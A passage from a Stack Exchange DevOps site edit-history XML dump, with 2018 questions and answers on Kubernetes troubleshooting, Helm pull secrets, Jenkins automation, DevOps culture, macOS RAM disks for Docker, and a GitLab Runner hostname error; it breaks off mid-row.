  <row Id="12578" PostHistoryTypeId="5" PostId="1709" RevisionGUID="50c9292d-69ad-4b91-9336-a9d3bb897038" CreationDate="2018-04-30T07:32:27.900" UserId="210" Comment="added 5 characters in body; edited tags" Text="When the Hashicorp's website was checked it seems that there is another tool, i.e. Serf. Back in the day there was another tool called `otto`, but that was deprecated at a certain moment.&#xD;&#xA;&#xD;&#xA;After reading the [use cases][1] I wonder whether it is an added value to use `serf` when a container orchestration platform like kubernetes is used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.serf.io/intro/use-cases.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12579" PostHistoryTypeId="6" PostId="1709" RevisionGUID="50c9292d-69ad-4b91-9336-a9d3bb897038" CreationDate="2018-04-30T07:32:27.900" UserId="210" Comment="added 5 characters in body; edited tags" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12580" PostHistoryTypeId="6" PostId="1305" RevisionGUID="4ac7ab17-494b-4e8c-aead-64a802377338" CreationDate="2018-04-30T07:34:17.170" UserId="210" Comment="edited tags" Text="&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12581" PostHistoryTypeId="6" PostId="1176" RevisionGUID="c96cb4b4-f652-4dd6-96f5-025935054c29" CreationDate="2018-04-30T07:34:42.157" UserId="210" Comment="edited tags" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12584" PostHistoryTypeId="2" PostId="4015" RevisionGUID="14b1c774-19cf-4e37-8533-b0aef60e95c7" CreationDate="2018-04-30T08:42:53.277" UserId="210" Text="As @Tensibai indicated in one the comments, this could be caused as there is unsufficient CPU or memmory, but that is not always the case.&#xD;&#xA;&#xD;&#xA;For example, a helm chart was just deployed, it failed and the workload in GCP indicated that: &#xD;&#xA;&#xD;&#xA;&gt; Pod errors: CrashLoopBackOff&#xD;&#xA;&#xD;&#xA;Based on the comment of @Tensibai the first impression was that there were insufficient resources, but further analysis using `kubectl desribe pod &lt;pod-name&gt;` indicated that in this case the livenessProbe check failed:&#xD;&#xA;&#xD;&#xA;    Liveness probe failed: Get http://10.16.0.13:80/: dial &#xD;&#xA;    tcp 10.16.0.13:80: getsockopt: connection refused&#xD;&#xA;&#xD;&#xA;In summary, the `Does not have minimum availability` message is generic. Multiple issues could trigger this and more in dept analysis is required to find the actual error." ContentLicense="CC BY-SA 3.0" />
  <row Id="12585" PostHistoryTypeId="2" PostId="4016" RevisionGUID="7679777f-0ce8-4c47-b8b9-806657595611" CreationDate="2018-04-30T09:08:20.787" UserId="210" Text="Based on [this Github documentation][1] it is possible to pull a docker image from a private docker registry:&#xD;&#xA;&#xD;&#xA;values.yaml&#xD;&#xA;&#xD;&#xA;    imageCredentials:&#xD;&#xA;      name: credentials-name&#xD;&#xA;      registry: private-docker-registry&#xD;&#xA;      username: user&#xD;&#xA;      password: pass&#xD;&#xA;&#xD;&#xA;templates/imagePullSecret.yaml&#xD;&#xA;&#xD;&#xA;    {{- define &quot;imagePullSecret&quot; }}&#xD;&#xA;    {{- printf &quot;{\&quot;auths\&quot;: {\&quot;%s\&quot;: {\&quot;auth\&quot;: \&quot;%s\&quot;}}}&quot; .Values.imageCredentials.registry (printf &quot;%s:%s&quot; .Values.imageCredentials.username .Values.imageCredentials.password | b64enc) | b64enc }}&#xD;&#xA;    {{- end }}&#xD;&#xA;&#xD;&#xA;templates/secret.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: {{ .Values.imageCredentials.name }}&#xD;&#xA;    type: kubernetes.io/dockerconfigjson&#xD;&#xA;    data:&#xD;&#xA;      .dockerconfigjson: {{ template &quot;imagePullSecret&quot; . }}&#xD;&#xA;&#xD;&#xA;add the end of the templates/deployment.yaml add the following:&#xD;&#xA;&#xD;&#xA;    imagePullSecrets:&#xD;&#xA;      - name: {{ .Values.imageCredentials.name }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://github.com/kubernetes/helm/blob/master/docs/charts_tips_and_tricks.md#creating-image-pull-secrets" ContentLicense="CC BY-SA 3.0" />
  <row Id="12586" PostHistoryTypeId="50" PostId="3777" RevisionGUID="d7baac45-f9e8-4707-96fd-52520679d3da" CreationDate="2018-04-30T10:10:58.470" UserId="-1" />
  <row Id="12587" PostHistoryTypeId="2" PostId="4017" RevisionGUID="b3e91150-f89b-4614-b99e-55f2ffb2d2dc" CreationDate="2018-04-30T10:34:02.687" UserId="7630" Text="I have a Jenkins setup running in production, I want to automate jenkins setup(installation) along with all the jobs that are setup in jenkins. &lt;br&gt;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;I want to know how other people in industry do deal with this problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="12588" PostHistoryTypeId="1" PostId="4017" RevisionGUID="b3e91150-f89b-4614-b99e-55f2ffb2d2dc" CreationDate="2018-04-30T10:34:02.687" UserId="7630" Text="How to replicate jenkins setup via automation" ContentLicense="CC BY-SA 3.0" />
  <row Id="12589" PostHistoryTypeId="3" PostId="4017" RevisionGUID="b3e91150-f89b-4614-b99e-55f2ffb2d2dc" CreationDate="2018-04-30T10:34:02.687" UserId="7630" Text="&lt;jenkins&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12590" PostHistoryTypeId="2" PostId="4018" RevisionGUID="227ad50e-bdee-41af-b87f-e1035c73fddc" CreationDate="2018-04-30T11:34:34.003" UserId="6544" Text="The simple way to deal with this is as you have described. However, some drawbacks of it are:&#xD;&#xA;&#xD;&#xA;* manual Jenkins setup. &#xD;&#xA;* No guarantee that your new Jenkins instance is one-on-one identical to the previous in terms of version, plugins, etc.&#xD;&#xA;&#xD;&#xA;*Here's one way I have achieved this in the past.* This creates disposable Jenkins, that can come up with the same plugins and tools every time. &#xD;&#xA;&#xD;&#xA;Note: my setup assumes &#xD;&#xA;&#xD;&#xA;* Jenkins job history is backed up. Artifacts are not stored within Jenkins.&#xD;&#xA;* Your Jenkins infrastructure is on the cloud, e.g. AWS&#xD;&#xA;* Ansible used for automated provisioning of infrastructure&#xD;&#xA;* Jenkins 2.x in use with full use of Pipeline-as-Code&#xD;&#xA;* A defined set of Jenkins pipelines.&#xD;&#xA;&#xD;&#xA;### Machine/Instance Creation&#xD;&#xA;&#xD;&#xA;* Ansible provisioner creates AWS Linux instance&#xD;&#xA;* Adds it to Ansible dynamic inventory&#xD;&#xA;&#xD;&#xA;### Jenkins Install&#xD;&#xA;&#xD;&#xA;* Ansible installs Jenkins on the instance&#xD;&#xA;* Along with any ancillary tools, e.g. `git`, `maven` etc. required for Jenkins jobs to execute.&#xD;&#xA;* Start Jenkins service, wait for it to start.&#xD;&#xA;&#xD;&#xA;### Jenkins Configuration&#xD;&#xA;&#xD;&#xA;Ansible tasks for:&#xD;&#xA;&#xD;&#xA;* Wait for Jenkins CLI to be available.&#xD;&#xA;* Download Jenkins CLI JAR file &#xD;&#xA;* Execute Jenkins CLI to create users, install plugins, restart Jenkins etc and create jobs.&#xD;&#xA;* Restore job history from backup.&#xD;&#xA;&#xD;&#xA;### Caveat&#xD;&#xA;&#xD;&#xA;* Works best for greenfield and simpler Jenkins setups. Is harder (not impossible) to achieve with brownfield and more complex projects.&#xD;&#xA;* A large amount of training in Infra-as-Code mindset is required with this approach, such as for example &quot;Don't make plugin installations manually&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12591" PostHistoryTypeId="2" PostId="4019" RevisionGUID="602a5516-5c69-4725-8cf4-d1829b99dd10" CreationDate="2018-04-30T11:55:26.353" UserId="707" Text="What are typical stakeholders and their reasons not to support/enable DevOps principles?* &#xD;&#xA;&#xD;&#xA;Background: in small to medium organizations, certain level of DevOps is not a very big problem due to thinner silos and faster communications paths. &#xD;&#xA;&#xD;&#xA;But how do you do DevOps at large scales and which groups of stakeholders do you deal with?&#xD;&#xA;&#xD;&#xA;I can think of these typical examples:&#xD;&#xA;&#xD;&#xA;- Developers, either junior or more experienced who would like to &quot;just do their job they are paid for - establishing software solutions and coding them&quot;&#xD;&#xA;&#xD;&#xA;- Management/Deciders concentrating on the service aspect in terms of man-months, where you find out a thing like a toolchain is non-existent to them: they recognize people doing their work on computers, not more.&#xD;&#xA;&#xD;&#xA;Others?&#xD;&#xA;&#xD;&#xA;* (And how can DevOps be a benefit to them? - as a side thought to be separate question, &quot;how can DevOps be a benfit to stakeholder group X)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12592" PostHistoryTypeId="1" PostId="4019" RevisionGUID="602a5516-5c69-4725-8cf4-d1829b99dd10" CreationDate="2018-04-30T11:55:26.353" UserId="707" Text="Understanding DevOps opponents on stakeholder level beyond typical examples" ContentLicense="CC BY-SA 3.0" />
  <row Id="12593" PostHistoryTypeId="3" PostId="4019" RevisionGUID="602a5516-5c69-4725-8cf4-d1829b99dd10" CreationDate="2018-04-30T11:55:26.353" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12594" PostHistoryTypeId="2" PostId="4020" RevisionGUID="78647f22-8d70-4dc7-8ab5-ae1dde434be1" CreationDate="2018-04-30T14:47:14.813" UserId="7623" Text="According to [the docs][1] tmpfs is linux only. &#xD;&#xA;&#xD;&#xA;**RAM disk**&#xD;&#xA;&#xD;&#xA;If you want &quot;RAM only storage&quot;, you can literally use a [RAM disk][2]. ie: &#xD;&#xA;&#xD;&#xA;    diskutil erasevolume HFS+ 'DockerDisk' `hdiutil attach -nomount ram://2097152 `&#xD;&#xA;&#xD;&#xA;Then you can point volumes at `/Volumes/DockerDisk`. Drop and recreate at will. &#xD;&#xA;&#xD;&#xA;Docker will still store its VM and images on disk. See: Docker &gt; Preferences &gt; Disk.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/storage/tmpfs/#limitations-of-tmpfs-mounts&#xD;&#xA;  [2]: https://www.tekrevue.com/tip/how-to-create-a-4gbs-ram-disk-in-mac-os-x/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12595" PostHistoryTypeId="5" PostId="4019" RevisionGUID="92df3538-6a6a-4395-9cad-745a88ad5f20" CreationDate="2018-04-30T14:57:20.607" UserId="40" Comment="added 3 characters in body" Text="What are typical stakeholders and their reasons not to support/enable DevOps principles?* &#xD;&#xA;&#xD;&#xA;Background: in small to medium organizations, certain level of DevOps is not a very big problem due to thinner silos and faster communications paths. &#xD;&#xA;&#xD;&#xA;But how do you do DevOps at large scales and which groups of stakeholders do you deal with?&#xD;&#xA;&#xD;&#xA;I can think of these typical examples:&#xD;&#xA;&#xD;&#xA;- Developers, either junior or more experienced who would like to &quot;just do their job they are paid for - establishing software solutions and coding them&quot;&#xD;&#xA;&#xD;&#xA;- Management/Deciders concentrating on the service aspect in terms of man-months, where you find out a thing like a toolchain is non-existent to them: they recognize people doing their work on computers, not more.&#xD;&#xA;&#xD;&#xA;Others?&#xD;&#xA;&#xD;&#xA;* (And how can DevOps be a benefit to them? - as a side thought to be separate question, &quot;how can DevOps be a benefit to stakeholder group X?&quot;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12597" PostHistoryTypeId="50" PostId="1622" RevisionGUID="9ad31ac4-9a6f-4558-8b54-1127dea628f2" CreationDate="2018-04-30T15:13:23.023" UserId="-1" />
  <row Id="12598" PostHistoryTypeId="5" PostId="3511" RevisionGUID="a80b4514-bdd5-48f1-a86e-01f76c0739ac" CreationDate="2018-04-30T15:18:25.963" UserId="210" Comment="added 1157 characters in body" Text="I am planning to create a microservice that reads a database and shows a graph. Are there any people who have created such a service? What are things to consider before starting? I am thinking about django and [Springboot][1]. On the other hand, perhaps it is from a &quot;do not reinvent the wheel&quot; perspective better to choose something as graphite, but then still has to configure it.&#xD;&#xA;&#xD;&#xA;I am basically seeking for a tool that is able to read a REST interface and shows the results in a graph or otherwise a framework preferably written in Kotlin, golang or java.&#xD;&#xA;&#xD;&#xA;The aim is to show how fast something is increasing in a graph. At a certain moment I also would like to show the R2, i.e. consistency of the points, slope and so on.&#xD;&#xA;&#xD;&#xA;While writing this question, at a certain moment I would also like to predict whether something will be increased in the near future, i.e. applying data science.&#xD;&#xA;&#xD;&#xA;A cron job runs every night and inserts data to the Postgres database. A part of the table looks as follows:&#xD;&#xA;&#xD;&#xA;    ID = 61&#xD;&#xA;    PACKAGE_NAME = FIREFOX&#xD;&#xA;    DATE = 2018-04-29&#xD;&#xA;    VERSION = 59.0.2                                            &#xD;&#xA;    &#xD;&#xA;    ID = 62&#xD;&#xA;    PACKAGE_NAME = TOMCAT8&#xD;&#xA;    DATE = 2018-04-29&#xD;&#xA;    VERSION = 8.0.51                                            &#xD;&#xA;    &#xD;&#xA;    ID = 63&#xD;&#xA;    PACKAGE_NAME = TOMCAT85&#xD;&#xA;    DATE = 2018-04-29&#xD;&#xA;    VERSION = 8.5.30                                            &#xD;&#xA;    &#xD;&#xA;    ID = 64&#xD;&#xA;    PACKAGE_NAME = TOMCAT9&#xD;&#xA;    DATE = 2018-04-29&#xD;&#xA;    VERSION = 9.0.7                                             &#xD;&#xA;    &#xD;&#xA;    ID = 65&#xD;&#xA;    PACKAGE_NAME = FIREFOX&#xD;&#xA;    DATE = 2018-04-30&#xD;&#xA;    VERSION = 59.0.2                                            &#xD;&#xA;    &#xD;&#xA;    ID = 66&#xD;&#xA;    PACKAGE_NAME = TOMCAT8&#xD;&#xA;    DATE = 2018-04-30&#xD;&#xA;    VERSION = 8.0.51                                            &#xD;&#xA;    &#xD;&#xA;    ID = 67&#xD;&#xA;    PACKAGE_NAME = TOMCAT85&#xD;&#xA;    DATE = 2018-04-30&#xD;&#xA;    VERSION = 8.5.30                                            &#xD;&#xA;    &#xD;&#xA;    ID = 68&#xD;&#xA;    PACKAGE_NAME = TOMCAT9&#xD;&#xA;    DATE = 2018-04-30&#xD;&#xA;    VERSION = 9.0.7&#xD;&#xA;&#xD;&#xA;This data has to be displayed in a graph like [Tiobe][2]:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.baeldung.com/spring-graphql&#xD;&#xA;  [2]: https://www.tiobe.com/tiobe-index/&#xD;&#xA;  [3]: https://i.stack.imgur.com/SYXJx.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12599" PostHistoryTypeId="2" PostId="4021" RevisionGUID="96b7b54f-3842-40b0-91ff-32664ec69b9f" CreationDate="2018-04-30T16:05:09.367" UserId="210" Text="I am preparing a course about &quot;Java for DevOps&quot;. From a DevOps perspective, what topics should be covered during the meeting?&#xD;&#xA;&#xD;&#xA;I was thinking about the following topics:&#xD;&#xA;&#xD;&#xA; 1. What is DevOps?&#xD;&#xA; 2. Why should I learn Java or a programming language that the team is using from a DevOps perspective?&#xD;&#xA; 3. Java itself&#xD;&#xA;    * keywords&#xD;&#xA;    * keyword categories&#xD;&#xA;    * OOP&#xD;&#xA;    * FP&#xD;&#xA;    * Hello World&#xD;&#xA;&#xD;&#xA;The aim of this question is to get feedback. On one hand I think that these topics will cover &quot;Java for DevOps&quot;, but on the other hand I would like to know whether other people agree with this or what topics they would cover if they will organize the course?&#xD;&#xA;&#xD;&#xA;The target audience consists of Senior/Medior Quality Assurance, Senior/Medior Operations and some Junior Developers." ContentLicense="CC BY-SA 3.0" />
  <row Id="12600" PostHistoryTypeId="1" PostId="4021" RevisionGUID="96b7b54f-3842-40b0-91ff-32664ec69b9f" CreationDate="2018-04-30T16:05:09.367" UserId="210" Text="What topics should be at least be included in a Java for DevOps course?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12601" PostHistoryTypeId="3" PostId="4021" RevisionGUID="96b7b54f-3842-40b0-91ff-32664ec69b9f" CreationDate="2018-04-30T16:05:09.367" UserId="210" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12602" PostHistoryTypeId="2" PostId="4022" RevisionGUID="e410bf72-19e8-42f3-891b-1cadf1d736d7" CreationDate="2018-04-30T16:22:50.253" UserId="4954" Text="If you want to do &quot;DevOps Engineering&quot; then you should examine the various tools and APIs that you are going to use with the projects that are being planned.&#xD;&#xA;&#xD;&#xA;For example if you are going to use Jenkins, that's a Java based system you could look at that.  If you are going to implement microservices you could look at the framework you are going to use and figure out how to do full delivery starting with a product request&#xD;&#xA;&#xD;&#xA;On the other hand if you want to do &quot;Devops Culture&quot; then you need to see how to map the systems ideas that you have about your organisation (maybe there is some way to map this onto Java Patterns) how to optimise this by identifying waste or feedback loops and lastly how to schedule many different solutions to the problems and opportunities identified.  Maybe a Java based approach might help with figuring out what metrics are available&#xD;&#xA;&#xD;&#xA;Sorry this isn't a detailed answer but I don't really do Java myself&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12603" PostHistoryTypeId="5" PostId="4021" RevisionGUID="ad58b4e3-0368-41c6-a3e2-d7c60045bd80" CreationDate="2018-04-30T16:27:36.463" UserId="210" Comment="added 799 characters in body" Text="I am preparing a course about &quot;Java for DevOps&quot;. From a DevOps perspective, what topics should be covered during the meeting?&#xD;&#xA;&#xD;&#xA;I was thinking about the following topics:&#xD;&#xA;&#xD;&#xA; 1. What is DevOps?&#xD;&#xA; 2. Why should I learn Java or a programming language that the team is using from a DevOps perspective?&#xD;&#xA; 3. Java itself&#xD;&#xA;    * keywords&#xD;&#xA;    * keyword categories&#xD;&#xA;    * OOP&#xD;&#xA;    * FP&#xD;&#xA;    * Hello World&#xD;&#xA;&#xD;&#xA;The aim of this question is to get feedback. On one hand I think that these topics will cover &quot;Java for DevOps&quot;, but on the other hand I would like to know whether other people agree with this or what topics they would cover if they will organize the course?&#xD;&#xA;&#xD;&#xA;The target audience consists of Senior/Medior Quality Assurance, Senior/Medior Operations and some Junior Developers.&#xD;&#xA;&#xD;&#xA;**Rationale**&#xD;&#xA;&#xD;&#xA;@AnoE asked me to explain the rationale for asking this question.&#xD;&#xA;&#xD;&#xA;According to Wikipedia, DevOps is the intersection of Development, Operations and Quality Assurance.&#xD;&#xA;&#xD;&#xA;Development: creates features, i.e. add business value&#xD;&#xA;Operations: ensures that the software runs stable&#xD;&#xA;Quality Assurance: tests the software by clicking in the UI for example&#xD;&#xA;&#xD;&#xA;DevOps: intersection, i.e. automated, stable, tested software sooner to the customer&#xD;&#xA;&#xD;&#xA;As development creates new feature, it would be beneficial for the company and also the developers that Testers and Operations automate more and start to fix bugs, then Development could create more features.&#xD;&#xA;&#xD;&#xA;If everything goes well, perhaps some testers and operations could create features in a couple of months/years as well.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12604" PostHistoryTypeId="2" PostId="4023" RevisionGUID="5358cd16-6eb2-471f-8fd6-e4d3689fee56" CreationDate="2018-04-30T16:57:25.880" UserId="7626" Text="As answered in this questions: [Does Docker on MacOS support tmpfs?][1] In order to run in memory docker, I need to move docker volumes to ramdisk. In mac I can do it through docker preferences. However, I would like to write a script that could do it for me everytime I run docker on my machine. Is it possible to specify this setting using cmdline in mac? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/4012/does-docker-on-macos-support-tmpfs/4020?noredirect=1#comment5811_4020" ContentLicense="CC BY-SA 3.0" />
  <row Id="12605" PostHistoryTypeId="1" PostId="4023" RevisionGUID="5358cd16-6eb2-471f-8fd6-e4d3689fee56" CreationDate="2018-04-30T16:57:25.880" UserId="7626" Text="MacOS: How to move disk image in command line" ContentLicense="CC BY-SA 3.0" />
  <row Id="12606" PostHistoryTypeId="3" PostId="4023" RevisionGUID="5358cd16-6eb2-471f-8fd6-e4d3689fee56" CreationDate="2018-04-30T16:57:25.880" UserId="7626" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12607" PostHistoryTypeId="2" PostId="4024" RevisionGUID="fd7ce388-c43b-4713-bd99-3b468aeae0b7" CreationDate="2018-04-30T17:09:59.790" UserId="7623" Text="I might be misunderstanding the question.&#xD;&#xA;&#xD;&#xA;You tell docker where to put your volume data when you run the container. See [the docs][1]. It's not something you need to define in a global config. For example:&#xD;&#xA;&#xD;&#xA;    docker run -v /Volumes/DockerData/nginx_conf:/etc/nginx/conf.d nginx:latest&#xD;&#xA;&#xD;&#xA;The above would run nginx but pull whatever config files you have in nginx_conf.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/run/#volume-shared-filesystems" ContentLicense="CC BY-SA 3.0" />
  <row Id="12608" PostHistoryTypeId="2" PostId="4025" RevisionGUID="f4e5a9ee-0c81-4e5a-af79-2e7cd8807133" CreationDate="2018-04-30T17:10:52.873" UserId="4175" Text="Even with the rationale you edited in, I don't really see a point.&#xD;&#xA;&#xD;&#xA;DevOps is an intersection of Dev, Ops (and more, like Security and maybe Testing) in a cultural sense. But on a technological sense, you will always have people in a mixed team who are good at one of those but not the others, and that is fine. &#xD;&#xA;&#xD;&#xA;For example: you might deploy something like Kubernetes or OpenShift; and then you will for sure have ops-sided people who are expert at running the low-level stuff, tuning your NAS, adapting your orchestration to a cloud provider of your choice, or to on-premise bare-metal servers and so on. You will *not*, usually, have all of your developers do the same; they may *use* those things provided by the others. The ops guys might never see a piece of application code at all; and you would still call it &quot;DevOps&quot;.&#xD;&#xA;&#xD;&#xA;What your devs will be able to do is manage the full lifecycle of their applications, from source code to production, using the tools provided by the ops guys. When one says that devs do jobs that ops used to do in the past, one means that the automation makes it so that the environments (dev, test, int, prod...) are mostly the same; that deploying to them is as automated as humanly possible (without requiring manual ops, and most importantly without requiring a handover of binaries etc. between devs and ops); that there is a complete, unbroken technological chain from source to prod; including things like virtual networks automatically springing into existence and so on. One does *not* mean that devs troubleshoot hardware or networking on a low layer.&#xD;&#xA;&#xD;&#xA;The same goes for your ops guys. They will most certainly not try to change the application code proper after a few seminars on it, unless you are talking about really small companies with 3-person teams who need to do so out of sheer necessity.&#xD;&#xA;&#xD;&#xA;Note that I am not saying that it is not possible to be one person who does both development and operations work. Is is an absolute gold mine to have such people available; and some companies foster that by, for example, rotating devs into low-level ops groups occasionally. But those guys are not your target audience. By the topics you listed in your question, you are targeting ops guys who have never in their life coded anything (&quot;hello world&quot;).&#xD;&#xA;&#xD;&#xA;If you actually *want* your ops guys to grow into coding instead of just clicking around in GUIs, modifying or creating config files and such, then here are some suggestions:&#xD;&#xA;&#xD;&#xA;- If they are writing the occasional `bash` script already, point out advances constructs to them (loops, functions, error handling, etc.).&#xD;&#xA;- Try to get them interested in some dynamic language like `perl` or `ruby` for a low-hanging fruit, one step above shell scripts.&#xD;&#xA;- Introduce them to `go`, which is really nice for standalone command line applications and especially automation tools. It should satisfy the need to learn something new which should go really well on anyone's resume, and will satisfy the naysayers regarding non-natively compiled languages.&#xD;&#xA;&#xD;&#xA;... and so on. But don't try to sell them &quot;Java&quot; as a route into &quot;DevOps&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12609" PostHistoryTypeId="5" PostId="4019" RevisionGUID="5fcd7fe6-0175-4c87-884e-6f3f5985b978" CreationDate="2018-04-30T17:15:24.780" UserId="707" Comment="added 15 characters in body" Text="What are typical stakeholders and their reasons not to support/enable DevOps principles?* &#xD;&#xA;&#xD;&#xA;Background: in small to medium organizations, certain level of DevOps is not a very big problem due to thinner silos and faster communications paths. &#xD;&#xA;&#xD;&#xA;But how do you do DevOps at large organizational scales and which groups of stakeholders do you deal with?&#xD;&#xA;&#xD;&#xA;I can think of these typical examples:&#xD;&#xA;&#xD;&#xA;- Developers, either junior or more experienced who would like to &quot;just do their job they are paid for - establishing software solutions and coding them&quot;&#xD;&#xA;&#xD;&#xA;- Management/Deciders concentrating on the service aspect in terms of man-months, where you find out a thing like a toolchain is non-existent to them: they recognize people doing their work on computers, not more.&#xD;&#xA;&#xD;&#xA;Others?&#xD;&#xA;&#xD;&#xA;* (And how can DevOps be a benefit to them? - as a side thought to be separate question, &quot;how can DevOps be a benefit to stakeholder group X?&quot;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12610" PostHistoryTypeId="5" PostId="4022" RevisionGUID="7d2a9027-2e84-4b8f-822d-e24e237e5fc8" CreationDate="2018-04-30T17:17:49.853" UserId="4954" Comment="added 218 characters in body" Text="If you want to do &quot;DevOps Engineering&quot; then you should examine the various tools and APIs that you are going to use with the projects that are being planned.&#xD;&#xA;&#xD;&#xA;For example if you are going to use Jenkins, that's a Java based system you could look at that.  If you are going to implement microservices you could look at the framework you are going to use and figure out how to do full delivery starting with a product request&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to do &quot;Devops Culture&quot; then this is a different approach.  The best short explanation of it is [Gene Kims 3 ways][1]&#xD;&#xA;&#xD;&#xA;To make this kind of cultural transformation you need to see how to map the systems ideas that you have about your organisation (maybe there is some way to map this onto Java Patterns) how to optimise this by identifying waste or feedback loops and lastly how to schedule many different solutions to the problems and opportunities identified.  Maybe a Java based approach might help with figuring out what metrics are available&#xD;&#xA;&#xD;&#xA;Sorry this isn't a detailed answer but I don't really do Java myself&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/the-three-ways-principles-underpinning-devops/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12611" PostHistoryTypeId="2" PostId="4026" RevisionGUID="a3ecb599-b811-4b23-b819-6d5992123a8f" CreationDate="2018-04-30T17:29:35.817" UserId="47" Text="At one point a higher level tools manager, asked to review/vote on a proposal for using a CI tool which would allow gradual elimination of long-lived branches and migration towards true CI methodology (i.e. [Trunk-Based Development][1] - TBD) for a large scale product line, opposed it. The stated reason was belief that it wouldn't scale to the very large team (1000+ developers) working on the product.&#xD;&#xA;&#xD;&#xA;I may be wrong, but I got the feeling another reason behind the vote was fear of having his ranks (which included an army of sync-masters for driving the many, quite difficult branch merges) shrink - in TBD there wouldn't be any such branch merges for them to work on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://trunkbaseddevelopment.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12612" PostHistoryTypeId="5" PostId="4017" RevisionGUID="0076a0ab-8f18-4297-8eb6-7be14b909490" CreationDate="2018-04-30T17:35:07.173" UserId="40" Comment="deleted 17 characters in body; edited title" Text="I have a Jenkins setup running in production. I want to automate Jenkins setup (installation) along with all the jobs that are setup in Jenkins.&#xD;&#xA;&#xD;&#xA;One crude way I can think of is to copy the whole jobs directory to the new Jenkins setup.&#xD;&#xA;&#xD;&#xA;How do other people in industry deal with this problem?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12613" PostHistoryTypeId="4" PostId="4017" RevisionGUID="0076a0ab-8f18-4297-8eb6-7be14b909490" CreationDate="2018-04-30T17:35:07.173" UserId="40" Comment="deleted 17 characters in body; edited title" Text="How to replicate jenkins setup via automation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12614" PostHistoryTypeId="50" PostId="3177" RevisionGUID="18db61db-9616-4949-8fea-10ae7ea6a3aa" CreationDate="2018-04-30T18:13:26.267" UserId="-1" />
  <row Id="12615" PostHistoryTypeId="2" PostId="4027" RevisionGUID="0490ec15-749e-41ae-9fbd-1dfcf3aaf902" CreationDate="2018-04-30T20:13:44.613" UserId="709" Text="1. yes, it will need access to Gitlab API to report back Jenkins build status.&#xD;&#xA;2. You can create a service account in LDAP such as Jenkins which can be used to generate Gitlab API tokens and use it to preconfigure Jenkins.&#xD;&#xA;3. Same as point #2&#xD;&#xA;&#xD;&#xA;For more info - https://docs.gitlab.com/ee/integration/jenkins.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12616" PostHistoryTypeId="2" PostId="4028" RevisionGUID="9ed18e37-2f39-4cad-ac9d-fe96b15e660c" CreationDate="2018-05-01T03:45:35.510" UserId="7641" Text="When using a GitLab Runner with a &quot;docker&quot; executor, the following build error occurs:&#xD;&#xA;&#xD;&#xA;    Running with gitlab-runner 10.7.0 (7c273476)&#xD;&#xA;      on main 80500676&#xD;&#xA;    Using Docker executor with image centos:latest ...&#xD;&#xA;    Pulling docker image centos:latest ...&#xD;&#xA;    Using docker image sha256:e934aafc22064b7322c0250f1e32e5ce93b2d19b356f4537f5864bd102e8531f for centos:latest ...&#xD;&#xA;    Running on runner-80500676-project-1-concurrent-0 via hostname-of-gitlab-runner-and-gitlab-server...&#xD;&#xA;    Cloning repository...&#xD;&#xA;    Cloning into '/builds/some-group-name/some-repository-name'...&#xD;&#xA;    fatal: unable to access 'http://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@hostname-of-gitlab-runner-and-gitlab-server/some-repository-name/some-repository-name.git/':&#xD;&#xA;    Could not resolve host: hostname-of-gitlab-runner-and-gitlab-server&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;It looks like the GitLab Runner is using the hostname of its Docker host as the FQDN or hostname of the Git server to pull the code from. This doesn't make sense, as it's not in any of the configuration files:&#xD;&#xA;&#xD;&#xA;This is the GitLab configuration:&#xD;&#xA;&#xD;&#xA;    $ sudo cat /etc/gitlab-runner/config.toml&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;main&quot;&#xD;&#xA;      url = &quot;http://127.0.0.1:1337/&quot;&#xD;&#xA;      token = &quot;80500676b5518df3f3f3b1f772e20b&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;ubuntu:latest&quot;&#xD;&#xA;        privileged = false&#xD;&#xA;        